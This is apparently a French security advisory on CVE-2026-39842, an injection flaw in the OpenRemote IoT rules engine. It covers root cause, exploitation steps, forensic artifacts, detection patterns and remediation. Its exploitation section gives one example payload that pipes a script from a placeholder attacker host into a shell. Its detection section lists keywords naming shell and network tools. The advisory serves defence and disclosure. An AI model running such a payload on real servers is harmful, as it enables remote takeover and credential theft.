Aller au contenu

CVE-2026-39842 : Injection d'expression dans la plateforme IoT OpenRemote

La CVE-2026-39842 identifie une faille grave d’injection d’expression au sein de la plateforme IoT open-source OpenRemote. La vulnérabilité provient d’une implémentation non sécurisée du moteur de règles, où les scripts JavaScript fournis par l’utilisateur sont évalués via ScriptEngine.eval() de Nashorn sans sandboxing ni restriction suffisante.

Bien que le système mette en œuvre certains contrôles d’autorisation, il ne protège pas le chemin d’exécution JavaScript pour les utilisateurs disposant du rôle write:rules. De plus, une défaillance critique dans le moteur de règles Groovy — où le GroovyDenyAllFilter est défini mais non enregistré — désactivement le SandboxTransformer pour les superutilisateurs. Cela crée un scénario à fort impact où un attaquant peut élever ses privilèges, exfiltrer des variables d’environnement sensibles (y compris les identifiants de base de données) et accéder aux données de différents domaines (realms), brisant ainsi l’architecture multi-tenant de la plateforme.

Le cœur de la vulnérabilité réside dans la manière dont OpenRemote gère ses règles d’automatisation. La plateforme permet aux utilisateurs de définir une logique basée sur des événements IoT. Cette logique est traitée par deux moteurs principaux : JavaScript (Nashorn) et Groovy.

Le moteur JavaScript est le vecteur principal pour les utilisateurs non-superutilisateurs. L’implémentation appelle ScriptEngine.eval() sur l’entrée fournie à RulesResourceImpl. Dans une implémentation sécurisée, cet appel serait encapsulé dans un sandbox restreignant l’accès au ClassLoader Java sous-jacent et empêchant l’instanciation de classes dangereuses (ex: java.lang.Runtime, java.io.File).

Dans les versions affectées (1.21.0 et antérieures), aucune de ces restrictions n’existe. Tout utilisateur disposant du rôle write:rules peut exécuter des méthodes Java arbitraires via JavaScript, facilitant une évasion complète de la logique applicative vers la JVM et l’OS hôte.

Pour les superutilisateurs, la plateforme tente d’employer une SandboxTransformer et un GroovyDenyAllFilter. Cependant, l’analyse du code source révèle que l’enregistrement du filtre est commenté.

// Le code d'enregistrement du GroovyDenyAllFilter est commenté dans les versions affectées
// filterRegistry.register(new GroovyDenyAllFilter());

Comme le filtre n’est jamais enregistré, le Transformer ne s’active pas, permettant aux superutilisateurs (ou à quiconque peut usurper des règles de superutilisateur) de contourner les contraintes prévues.

Le processus d’exploitation suit un chemin linéaire allant de l’accès autorisé au contrôle total du système :

  1. Acquisition de l’accès : l’attaquant obtient ou se voit attribuer le rôle write:rules au sein de l’instance OpenRemote.
  2. Construction du payload : l’attaquant crée un ensemble de règles JavaScript. Au lieu d’une logique IoT standard, le payload utilise la réflexion Java ou des appels directs pour exécuter des commandes système.
    • Exemple conceptuel de payload : java.lang.Runtime.getRuntime().exec("curl http://attacker.com/shell | sh")
  3. Injection : le payload est soumis via l’API des règles à RulesResourceImpl.
  4. Exécution : le serveur traite la règle et appelle ScriptEngine.eval(). La JVM exécute le payload malveillant avec les permissions du compte de service OpenRemote.
  5. Élévation de privilèges : étant donné que le service s’exécute souvent avec des privilèges élevés pour gérer le matériel IoT et les configurations système, l’attaquant obtient une exécution au niveau root.

Lors de l’investigation d’une compromission impliquant la CVE-2026-39842, les analystes doivent prioriser les artefacts suivants :

  • Logs Applicatifs : inspecter les logs d’OpenRemote pour détecter des erreurs ScriptEngine inhabituelles ou des traces de pile (stack traces) Java inattendues provenant du moteur de règles.
  • Logs du Gateway API : rechercher des requêtes POST ou PUT vers /api/rules ou des endpoints similaires provenant de comptes avec le rôle write:rules, particulièrement celles contenant des références à des classes Java (java.lang.*).
  • Surveillance des Processus : identifier les processus enfants inattendus de la JVM OpenRemote, tels que /bin/sh, curl, wget ou nc.
  • Variables d’environnement : rechercher des preuves de vol de variables d’environnement. Les attaquants ciblent généralement DB_PASSWORD, SECRET_KEY et les identifiants de fournisseurs cloud.
  • Système de fichiers : rechercher des fichiers non autorisés dans /tmp ou dans les répertoires web-root utilisés comme zones de transit pour des web shells.
  1. Extraire toutes les règles créées au cours des 30 derniers jours depuis la base de données.
  2. Scanner les règles pour les mots-clés : Runtime, ProcessBuilder, eval, et getClass.
  3. Corréler l’heure de création des règles avec l’apparition de connexions réseau sortantes suspectes.
  4. Vérifier l’intégrité de RulesResourceImpl.class pour s’assurer qu’aucun patch permanent ou backdoor n’a été installé.

Logique de détection : surveiller la création de règles contenant des mots-clés d’exécution spécifiques à Java.

  • Event ID : Log Applicatif / Log API
  • Champ : request_body ou rule_content
  • Pattern : (java.lang.Runtime|ProcessBuilder|java.util.Scanner)
index=openremote_logs
| search "write:rules" AND ("java.lang.Runtime" OR "exec")
| table _time, user, source_ip, request_payload
  • Mise à jour : mettre à jour OpenRemote vers la version 1.22.0 immédiatement. Cette version restaure les filtres de sécurité et implémente un sandboxing approprié pour le moteur JavaScript.
  • Audit des rôles : examiner tous les utilisateurs assignés au rôle write:rules. Appliquer le principe du moindre privilège (PoLP).
  • Sandboxing JVM : si la mise à jour est impossible immédiatement, exécuter la JVM OpenRemote avec une politique restrictive du Java Security Manager pour bloquer java.io.FilePermission et java.lang.RuntimePermission.
  • Segmentation réseau : isoler le serveur OpenRemote du réseau interne pour empêcher l’attaquant d’utiliser l’hôte compromis comme point de pivot.